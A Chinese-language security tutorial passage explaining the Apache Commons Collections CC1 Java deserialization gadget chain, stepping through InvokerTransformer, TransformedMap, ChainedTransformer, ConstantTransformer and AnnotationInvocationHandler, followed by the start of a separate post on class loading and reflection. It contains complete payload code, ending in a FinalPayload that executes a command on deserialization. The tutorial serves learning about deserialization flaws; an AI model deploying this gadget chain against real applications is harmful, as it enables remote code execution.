'" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6); } }} 其中, 123Class cls = input.getClass();Method method = cls.getMethod(this.iMethodName, this.iParamTypes);return method.invoke(input, this.iArgs); 会通过反射执行 “input” 类的 “this.iMethodName” 方法,并将 “this.iParamTypes” 类型的参数 “this.iArgs” 传入。 再来看, input 是 transform 方法的参数,iMethodName ,iParamTypes 和 this.iArgs 都是 InvokerTransformer 中定义的属性: 123private final String iMethodName;private final Class[] iParamTypes;private final Object[] iArgs; 并且在 InvokerTransformer 类的三参构造方法中会赋值: 12345public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args;} 也就是说,这里的所有参数均可控,那么可以简单的写个小程序验证一下。 直接利用 InvokerTransformer 弹出计算器12345678public class Demo1 { public static void main(String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); invokerTransformer.transform(runtime); }} 运行结果: 成功弹出计算器,原理就是通过 invokerTransformer.transform 调用了 runtime 对象的 exec 方法并将 “calc” 作为参数传入。 接下来就是要找谁调用了 transform 方法,其实 TransformedMap 类调用了此方法。 利用链之 TransformedMap 类TransformedMap 类的 checkSetValue 方法调用了 this.valueTransformer 的 transform 方法: 123protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value);} 而 valueTransformer 是 TransformedMap 中定义的属性: 1protected final Transformer valueTransformer; 这个属性在构造方法中被赋值: 12345protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer;} 由于构造方法是 protected 修饰的,不能直接被调用,所以还要找是谁调用了 TransformedMap 的构造方法。 TransformedMap 的 decorate 方法调用了 TransformedMap 的构造方法: 123public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer);} 通过这个方法,我们可以将 valueTransformer 属性赋值成 InvokerTransformer 类的对象。 接下来还要找是谁调用了 TransformedMap 的 checkSetValue 方法,AbstractInputCheckedMapDecorator 类调用了此方法。 利用链之 AbstractInputCheckedMapDecorator 类AbstractInputCheckedMapDecorator 是 TransformedMap 的父类。 MapEntry 静态内部类在这个类中有一个名为 MapEntry 的静态内部类: 12345678910111213static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = this.parent.checkSetValue(value); return this.entry.setValue(value); }} MapEntry 的 setValue 方法中调用了 this.parent 的 checkSetValue 方法: 1234public Object setValue(Object value) { value = this.parent.checkSetValue(value); return this.entry.setValue(value);} parent 是 MapEntry 中定义的一个私有属性: 1private final AbstractInputCheckedMapDecorator parent; 这个属性在 MapEntry 的构造方法中被赋值: 1234protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent;} 由于这个构造方法是被 protected 修饰的,所以还是要找是谁调用了它。其实是隔壁的静态内部类 EntrySetIterator 调用了它。 EntrySetIterator 静态内部类EntrySetIterator 也是 AbstractInputCheckedMapDecorator 中的静态内部类: 12345678910111213static class EntrySetIterator extends AbstractIteratorDecorator { private final AbstractInputCheckedMapDecorator parent; protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) { super(iterator); this.parent = parent; } public Object next() { Map.Entry entry = (Map.Entry)this.iterator.next(); return new MapEntry(entry, this.parent); }} 可以看到 EntrySetIterator 的 next 方法中调用了 MapEntry 的构造方法: 1234public Object next() { Map.Entry entry = (Map.Entry)this.iterator.next(); return new MapEntry(entry, this.parent);} 那么为了调用 EntrySetIterator 的 next 方法,我们需要创建一个 EntrySetIterator 对象,但 EntrySetIterator 的构造方法是被 protected 修饰的,所以还要找是谁调用了 EntrySetIterator 的构造方法。 而在隔壁的静态内部类 EntrySet 中调用了 EntrySetIterator 的构造方法 EntrySet 静态内部类EntrySet 也是 AbstractInputCheckedMapDecorator 中的静态内部类: 123456789101112131415static class EntrySet extends AbstractSetDecorator { private final AbstractInputCheckedMapDecorator parent; protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) { super(set); this.parent = parent; } public Iterator iterator() { return new EntrySetIterator(this.collection.iterator(), this.parent); } // 后面的部分省略 ......} EntrySet 的 iterator 方法调用了 EntrySetIterator 的构造方法,同理,在哪里获得 EntrySet 对象呢? entrySet 成员方法AbstractInputCheckedMapDecorator 类的 public 方法 entrySet 调用了 EntrySet 的构造方法: 123public Set entrySet() { return (Set)(this.isSetValueChecking() ? new EntrySet(this.map.entrySet(), this) : this.map.entrySet());} 但是到这里还有个问题,获得 EntrySet 对象后怎么去调用它的 iterator 方法呢,以及获得 EntrySetIterator 对象后怎么去调用它的 next 方法呢,这个可以通过增强 for 循环遍历 map 来实现访问。 增强 for 循环遍历 map 的底层原理for (Map.Entry<String, Integer> entry : map.entrySet()) 实际上相当于以下的迭代器实现: 12345Iterator<Map.Entry<String, Integer>> iterator = map.entrySet().iterator();while (iterator.hasNext()) { Map.Entry<String, Integer> entry = iterator.next(); // 循环体内的代码} 依此道理,如果将 map 赋值为 AbstractInputCheckedMapDecorator 抽象类的子类, 那么调用 map.entrySet() 方法时,实际上调用的是 AbstractInputCheckedMapDecorator 抽象类中实现的 entrySet() 方法,这个 entrySet() 方法会返回一个 EntrySet 对象, 那么 map.entrySet().iterator() 实际上调用的是 EntrySet 对象的 iterator 方法,而这个方法返回的是一个 EntrySetIterator 对象, 那么在接下来的 while 循环中调用的 iterator.next() 方法其实就是 EntrySetIterator 对象的 next() 方法,这个方法会调用 MapEntry 的构造方法,返回一个 MapEntry 对象, 最终 for (Map.Entry<String, Integer> entry : map.entrySet()) 这个增强 for 获取到的 entry 就是一个 MapEntry 对象, 最后的最后,我们手动调用这个 entry 的 setValue 方法即可。 至此,整条链子就串联起来了。 写个程序实现上面的利用链payload下面的代码运行后会弹出计算器: 123456789101112131415public class Demo2 { public static void main(String[] args) { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, invokerTransformer); for (Map.Entry entry : transformedmap.entrySet()) { entry.setValue(runtime); } }} 通过调试来理解其中逻辑Java 代码有一个特点,Java 的实例方法调用是基于运行时的实际类型的动态调用,而非变量的声明类型,这就是 Java 的多态性。 也因此,只有当程序运行起来才知道某个方法调用的究竟是哪个类的方法。所以说:调试是学习过程中必不可少的一环。 前面的逻辑应该都好理解,直接在最后一个 for 循环和 setValue 处下断点: 开始调试,单步进入: 此时来到了 AbstractInputCheckedMapDecorator 抽象类的 entrySet 方法,不过严格来说,应该是调用了 TransformedMap 的 entrySet 方法(因为 TransformedMap 继承了 AbstractInputCheckedMapDecorator 抽象类,拥有了它的所有方法,所以 TransformedMap 中其实是有 entrySet 方法的,只不过在代码上看不到) 所以一个很重要的点是,这里的 this 指代的是谁?指代的是 AbstractInputCheckedMapDecorator 吗?不对,指代的是 TransformedMap 对象,一定记住,因为后续会将这个值层层传递下去。 继续单步进入: 此时来到了 TransformedMap 重写的 isSetValueChecking 方法,由于 valueTransformer 已经被赋值,所以这里应当返回 true 。 继续单步进入: 由于上一步返回 true ,所以这里应当会调用 EntrySet 的构造方法。 继续单步进入: 调用了 EntrySet 的构造方法,并传入一个 TransformedMap 对象给 EntrySet 的私有属性 parent 赋值。 这里可以不用看了,直接 step out 跳出: 回到 entrySet 成员方法这里,此时应当返回一个 EntrySet 对象。 继续单步进入: 此时回到初始代码,准备开始 for 循环。 继续单步进入: 此时来到了 EntrySet 的 iterator 方法,获取 EntrySetIterator 对象。 继续单步进入,选择查看 EntrySetIterator 构造方法: 构造方法中将 EntrySet 的 parent 传了过来,赋值给了自己的私有属性 parent ,此时它是一个 TransformedMap 对象。 这里可以不用看了,直接 step out 跳出: 回到迭代器这里,这个方法将会返回一个 EntrySetIterator 对象。 继续单步进入: 回到了初始代码。 继续单步进入: 开始进行 hasNext 判断,因为是第一次遍历,集合中有值,这里应当返回 true 。 继续单步进入: 回到了初始代码。 继续单步进入: 此时来到了 EntrySetIterator 的 next 方法。 第一步可以不用看,直接 step over 进入下一步,再单步进入: 此时来到了 MapEntry 的构造方法,将 EntrySetIterator 的 parent 值传给了自己的私有属性 parent ,此时它是一个 TransformedMap 对象。 接下来可以不用看了,step out 跳出构造方法,再跳出 EntrySetIterator 的 next 方法,回到初始代码这里: 此时的 entry 是一个 MapEntry 对象,单步进入它的 setValue 方法: 接下来会进入 this.parent 的 checkSetValue 方法,如上所言,this.parent 应当指代的是 TransformedMap 对象,那么接下来会调用这个 TransformedMap 对象的 checkSetValue 方法,单步进入看看: 没问题,接下来会调用 valueTransformer 的 transform 方法,valueTransformer 已经被赋值为一个 InvokerTransformer 对象,接下来将会调用 InvokerTransformer 的 transform 方法。 单步进入: 这个 InvokerTransformer 对象也已经被初始化,前面的 setValue 的参数 runtime 传递给了 checkSetValue ,最后又传递给了 transform ,所以这里的 input 参数应当是一个 Runtime 对象。 到这里就可以直接下一步下一步了,执行完 method.invoke 就会弹出计算器: 好了,后面的就不调了。通过这次调试,想必逻辑大致能理清楚了。 反序列化利用作为一条反序列化利用链,最终还是要归到 readObject 这里,毕竟实际情况下 setValue 可不是我们自己能手动调用的,所以我们要找谁的 readObject 方法里调用了 setValue 。 AnnotationInvocationHandler 类的 readObject 方法里就调用了 setValue 。 入口类 AnnotationInvocationHandler看看 readObject 方法: 1234567891011121314151617181920212223242526private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Map.Entry var5 = (Map.Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } }} 有没有发现跟前面增强 for 循环的底层原理有几分神似?如果没有发现的话我把这一段截取出来: Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Map.Entry var5 = (Map.Entry)var4.next(); 依葫芦画瓢,我们想让这个 memberValues 变成 TransformedMap 对象,那么同理 var5 将会被赋值为一个 MapEntry 对象。在之后经过两重判断,就会调用 var5 的 setValue 了。 memberValues 是 AnnotationInvocationHandler 类中定义的一个属性: 1private final Map<String, Object> memberValues; 而这个属性在构造方法中被赋值: 123456789AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { this.type = var1; this.memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); }} 但是由于构造方法没有被 public 修饰(不写修饰符默认 default ),不能直接调用,所以我们用反射来获取构造方法。 在构造方法中我们也可以看到对传入的参数 var1 做了一些检查: var3 = var1.getInterfaces():这一行代码获取了 var1 类对象实现的所有接口,并将它们存储在 var3 数组中。 if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class):这一行代码是一个条件语句,其中包含三个条件: var1.isAnnotation() 检查 var1 是否是一个注解类型。如果 var1 是一个注解类型,则返回 true。 var3.length == 1 检查 var1 实现的接口数量是否为 1。如果是,则返回 true。 var3[0] == Annotation.class 检查 var1 实现的接口中的第一个接口是否是 Annotation 接口。如果是,则返回 true。 为了满足上述条件,我们初步选择传入 Override.class 作为 var1 的值,于是就得到了 payload1 : payload1123456789101112131415161718192021222324252627282930313233343536373839public class payload1 { public static void main(String[] args) throws Exception { // 获取 Runtime 对象 Runtime r = Runtime.getRuntime(); // 初始化执行类 InvokerTransformer InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); // 初始化利用链 TransformedMap Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, invokerTransformer); // 利用反射修改入口类 AnnotationInvocationHandler 的 memberValues 属性 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationConstructor.setAccessible(true); // 为了通过 isAnnotation 判断,选择将 Override.class 传入第一个参数 Object o = annotationInvocationConstructor.newInstance(Override.class, transformedmap); // serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }} 先序列化再反序列化,反序列化时应当弹出计算器。但实际上什么也没发生。原因有很多,先来解决第一个。 Runtime 类不能被序列化解决办法翻看 Runtime 类的定义,会发现它并没有实现 Serializable 接口: 1public class Runtime 要如何解决这个问题呢?在前面的学习中我们能发现 InvokerTransformer 类的 transform 方法能够通过执行任意类的任意方法,假如我们让它执行 Runtime.class 对象的 getDeclaredMethod 方法,并将 getRuntime 作为参数传入,那么我们就能获取到 Runtime 的 getRuntime 方法了。 具体代码如下: 12345Method getRuntimeMethod = (Method)new InvokerTransformer ("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class); 其实就相当于这句代码: 1Method getRuntimeMethod = Runtime.class.getDeclaredMethod("getRuntime",null) 这样得到的 getRuntimeMethod 就是 Runtime 的 getRuntime 方法了。 接下来我要调用 getRuntimeMethod 方法,还是通过 InvokerTransformer 类的 transform 方法来调用: 12345Runtime r = (Runtime) new InvokerTransformer ("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntimeMethod); 其实就相当于这句代码: 1Runtime runtime = getRuntimeMethod.invoke(null, null) 执行 getRuntime 方法后返回 Runtime 对象,很合理。 接下来我要调用这个 Runtime 对象的 exec 方法,依然是通过 InvokerTransformer 类的 transform 方法来调用: 1new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime); 其实就相当于这句代码: 1runtime.exec("calc") 经过上面的三步操作就可以调用 exec 恶意函数了。但其实这段代码还可以再优雅一点,可以用 ChainedTransformer 类来简化操作。 ChainedTransformer 类利用 ChainedTransformer 可将上述三段代码简化成如下代码: 12345678910Transformer[] transformers = new Transformer[]{ new InvokerTransformer ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer ("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class); 要了解具体原理,我们可以查看 chainedTransformer 类的构造方法: 123public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers;} 可以看到,构造方法中接收一个 Transformer 数组,并将这个数组赋值给 this.iTransformers 。 而 iTransformers 是 ChainedTransformer 中定义的属性: 1private final Transformer[] iTransformers; 接着来看 chainedTransformer 类的 transform 方法: 1234567public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object;} chainedTransformer 类的 transform 方法遍历 iTransformers 数组中的每一个元素并依次执行它们的 transform 方法,并将前一个 transform 方法的结果作为后一个 transform 方法的参数。 看到这里就应该大致能明白了,就是把数组中的每一个 InvokerTransformer 对象取出来再调用它们的 transform 方法,并把上一段代码的输出作为下一段代码的输入,这样就完美替代了上面的三段代码。于是我们得到 payload2: payload2123456789101112131415161718192021222324252627282930313233343536373839404142public class payload2 { public static void main(String[] args) throws Exception { // 获取包含执行类 InvokerTransformer 的 ChainedTransformer 对象 Transformer[] transformers = new Transformer[]{ new InvokerTransformer ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer ("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 随便构造一个 Map 对象作为 TransformedMap.decorate 的参数 HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); // 初始化利用链 TransformedMap Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer); // 利用反射修改入口类 AnnotationInvocationHandler 的 memberValues 属性 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationConstructor.setAccessible(true); // 为了通过 isAnnotation 判断,选择将 Override.class 传入第一个参数 Object o = annotationInvocationConstructor.newInstance(Override.class, transformedmap); serialize(o); // unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }} payload2 解决了 Runtime 类不能被序列化的问题,在序列化时,由于 ChainedTransformer 的 transform 方法并没有被执行,所以并没有生成 Runtime 对象,只有在反序列化 readObject 时才被执行。 但是 payload2 还是无法使用,这是因为 AnnotationInvocationHandler 类的 readObject 方法中的最后一个 while 循环中还有两个判断没绕过,以及 var5 的 setValue 方法的参数还没有作控制。 判断绕过这里再贴一下 AnnotationInvocationHandler 类的 readObject 方法:1234567891011121314151617181920212223242526private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Map.Entry var5 = (Map.Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } }} 第一重判断 if (var7 != null) 绕过为了经过第一重判断,我们需要追本溯源,看看 var7 是怎么来的: 1Class var7 = (Class)var3.get(var6); var7 是通过 var3 的 get 方法获取到的,看看 var3 是怎么来的: 1Map var3 = var2.memberTypes(); var3 是通过 var2 的 memberTypes 方法获取到的 Map 对象,因此 var3 的 get 方法应当是根据键返回对应的值。 看看 var2 怎么来的: 1234567AnnotationType var2 = null;try { var2 = AnnotationType.getInstance(this.type);} catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream");} var2 是一个 AnnotationType 对象,见名知义,就是注解类型。这里是调用了 AnnotationType.getInstance 方法再将 this.type 作为参数传入。 而 type 是 AnnotationInvocationHandler 类中定义的一个属性: 1private final Class<? extends Annotation> type; 与 memberValues 一同在构造方法中被赋值: 123456789AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) { this.type = var1; this.memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); }} 可以看到 this.type 其实就是我们传入的注解类 Override.class 。 梳理一下上面的过程 传入的 Override.class 就是 AnnotationInvocationHandler 类的 type 属性值; type 属性值被传入 AnnotationType.getInstance 方法作为参数,得到的返回值就是 var2 ,而 AnnotationType 类的 getInstance 方法会返回一个包含指定注解的信息的 AnnotationType 对象; 接下来调用 var2 的 memberTypes 方法获取 var2 的 memberTypes 属性,并将其赋值给 var3。memberTypes 属性的值是在 AnnotationType.getInstance 方法调用时被赋予的,即传入的指定注解(Override.class)的成员属性的类型。由于 Override 类并没有成员属性,所以 memberTypes 为空,所以 var3 也为空。 那么接下来通过 var3 的 get 方法获取到的 var7 自然也为空。 解决方案 为了解决这个问题,只需要传入一个有成员属性的注解类即可,这里选择 Target.class(选其他的也可以,比如 Retention.class): 123456789101112@Documented@Retention(RetentionPolicy.RUNTIME)@Target(ElementType.ANNOTATION_TYPE)public @interface Target { /** * Returns an array of the kinds of elements an annotation type * can be applied to. * @return an array of the kinds of elements an annotation type * can be applied to */ ElementType[] value();} 并且在调用 var3 的 get 方法时需要传入一个参数 var6 ,所以需要修改 var6 为此时 var3 中存在的键名 value(这个键名是通过调试知道的,后面会调试),这样就能顺利地调用 get 方法获取键名中的键值了。 var6 是这样来的 12Map.Entry var5 = (Map.Entry)var4.next();String var6 = (String)var5.getKey(); 前面在分析入口类 AnnotationInvocationHandler 的 readObject 方法时,我们讲到 var5 应该是一个 MapEntry 对象,这个对象中存储的键值对其实就是我们给 TransformedMap.decorate 方法传入的 map 参数,那么我们直接修改传入的键为 value 即可。 于是得到 payload3: payload3123456789101112131415161718192021222324252627282930313233343536373839404142public class payload3 { public static void main(String[] args) throws Exception { // 获取包含执行类的 ChainedTransformer 对象 Transformer[] transformers = new Transformer[]{ new InvokerTransformer ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer ("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 构造一个 Map 对象,键为 value HashMap<Object, Object> map = new HashMap<>(); map.put("value", "test"); // 初始化利用链 TransformedMap Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer); // 利用反射修改入口类 AnnotationInvocationHandler 的 memberValues 属性 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationConstructor.setAccessible(true); // 将有成员属性的 Target.class 传入 Object o = annotationInvocationConstructor.newInstance(Target.class, transformedmap); // serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }} 第二重判断 if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) 绕过我们通过调试 payload3 来查看此时的 var7 ,var8 分别是什么,顺便解答一下前面的疑惑。 payload3 中在 readObject 处下一个断点: AnnotationInvocationHandler 类的 readObject 方法下四个断点: 开始调试,直接跳断点就可以了: 接下来我们来看 var2 在初始化之后是什么: 可以看到 var2 是一个 AnnotationType 对象,而且其 memberTypes 属性是一个 HashMap 对象,其中的键值对是 “value” -> Target 成员属性的类型 ElementType 。 看看 var3 被赋值后是什么: var3 获取到的是 var2 的 memberTypes 属性值。 看看 var7 被赋值后是什么: var7 获取到的就是 var3 键值对中的值。由于 var7 不为空,进入判断。 **看看 var8 被赋值后是什么,断点不够了再加俩断点: ** var8 获取到的是 payload3 中传入的 map 值,这也在预期之中。 接下来单步进入判断,想不到直接就过去了: 点进 var7 的 isInstance 方法去看了一下,在文档中发现这个方法与 instanceof 等效,instanceof 是判断其左边对象是否为其右边类的实例 ,而 isInstance 是 Class 类中的方法,也是用于判断某个实例是否是某个类的实例化对象,但是指向则相反: 这样就解释得通了,var8 并不是 ElementType 类的对象,var8 也并不是 ExceptionProxy 类的对象,所以这个判断直接过了。 那么就只剩下最后一个问题了:var5 的 setValue 方法参数不可控。 var5 的 setValue 方法参数不可控解决办法按道理,我们想让 var5 的 setValue 方法参数为 Runtime.class ,但是这里的参数明显不能让我们达成目的。这就要提到 Transformer 接口的一个子类 ConstantTransformer 了。 ConstantTransformer 类123456789101112131415161718192021public class ConstantTransformer implements Transformer, Serializable { private static final long serialVersionUID = 6374440726369055124L; public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null); private final Object iConstant; public static Transformer getInstance(Object constantToReturn) { return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn)); } public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return this.iConstant; } public Object getConstant() { return this.iConstant; }} 看 ConstantTransformer 类的 transform 方法会发现:无论传入什么参数,都返回 this.iConstant ,而 iConstant 属性在 ConstantTransformer 的构造方法中被赋值,这个构造方法又被 public 修饰,所以可以直接调用。 那么我们可以将 ConstantTransformer 的 iConstant 属性赋值成 Runtime.class ,然后将其放在 ChainedTransformer 调用链的最上层,这样无论传入什么,ConstantTransformer 的 transform 方法都会返回 Runtime.class 作为下一个 transform 方法的参数。 于是我们得到最终 payload : 最终 payload1234567891011121314151617181920212223242526272829303132333435363738394041424344public class FinalPayload { public static void main(String[] args) throws Exception { // 获取包含执行类的 ChainedTransformer 对象 Transformer[] transformers = new Transformer[]{ // 将传入参数固定为 Runtime.class new ConstantTransformer(Runtime.class), new InvokerTransformer ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer ("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 构造一个 Map 对象,键为 value HashMap<Object, Object> map = new HashMap<>(); map.put("value", "test"); // 初始化利用链 TransformedMap Map<Object, Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer); // 利用反射修改入口类 AnnotationInvocationHandler 的 memberValues 属性 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationConstructor.setAccessible(true); // 将有成员属性的 Target.class 传入(也可以用其他的注解类比如 Retention.class) Object o = annotationInvocationConstructor.newInstance(Target.class, transformedmap); // serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }} 结语有时候跳源码看会发现源码晦涩难懂,不如直接调试看结果,根据结果修改输入的参数。 Ref:https://www.yuque.com/5tooc3a/jas/gggdt0vwi5n0zwhr#IL3zn","categories":["Java 安全"]},{"title":"基础篇 - Java 的类加载与反射","path":"/2024/05/10/Java 安全/基础篇-Java的类加载与反射/","content":"本文介绍了 Java 的类加载与反射机制,概括了获得 Class 对象的几种方式,以及总结了反射获取类信息的方法。 类加载机制概述class 文件由类装载器装载后,在 JVM 中将形成一份描述 Class 结构的元信息对象,通过该元信息对象可以获知 Class 的结构信息:如构造函数,属性和方法等,Java 允许用户借由这个 Class 相关的元信息对象间接调用 Class 对象的功能。 虚拟机把描述类的数据从 class 文件加载到内存,并对数据进行校验,转换解析和初始化,最终形成可以被虚拟机直接使用的 Java 类型,这就是虚拟机的类加载机制。 类加载器ClassLoader :Java 中的一个抽象类,位于 java.lang 包中,用于实现类的加载机制。 在 Java 中,有三种主要的类加载器: Bootstrap ClassLoader(启动类加载器): 这是 Java 虚拟机(JVM)自身的一部分,负责加载 Java 的核心类库,如 java.lang 等。它是用本地代码实现的,无法直接在 Java 代码中访问。 Extension ClassLoader(扩展类加载器): 这个类加载器负责加载 Java 的扩展库,位于 $JAVA_HOME/lib/ext 目录下的 JAR 文件中的类。它是由 sun.misc.Launcher$ExtClassLoader 类实现的。 System ClassLoader 或 Application ClassLoader(系统类加载器或应用程序类加载器): 这个类加载器负责加载应用程序的类路径(Classpath)中指定的类,包括用户自定义的类。它是由 sun.misc.Launcher$AppClassLoader 类实现的。 类的生命周期类从被加载到虚拟机内存中开始到卸载出内存为止,它的整个生命周期可以简单概括为 7 个阶段::加载(Loading)、验证(Verification)、准备(Preparation)、解析(Resolution)、初始化(Initialization)、使用(Using)和卸载(Unloading)。其中,验证、准备和解析这三个阶段可以统称为连接(Linking)。 这 7 个阶段的顺序为: 加载 -> 验证 -> 准备 -> 解析 -> 初始化 -> 使用 -> 卸载 其中,类加载过程包含上述从加载到初始化的五个阶段,即: 加载 -> 验证 -> 准备 -> 解析 -> 初始化 有时候也将验证,准备,解析三个阶段看作一个阶段,叫连接阶段,所以类加载过程又可以描述为: 加载 -> 连接 -> 初始化 获得 Class 对象的四种方式比如现在有一个类 com.newer.test.Student ,获取该类的 class 对象有以下四种方式: 通过类名.class 1Class c1 = Student.class; 通过对象的 getClass() 方法,stu 是 Student 类的对象 1Class c2 = stu.getClass(); 通过类加载器获得 class 对象 12ClassLoader classLoader = ClassLoader.getSystemClassLoader();Class c3 = classLoader.loadClass("com.newer.test.Student"); 值得注意的是,通过类加载器获得 class 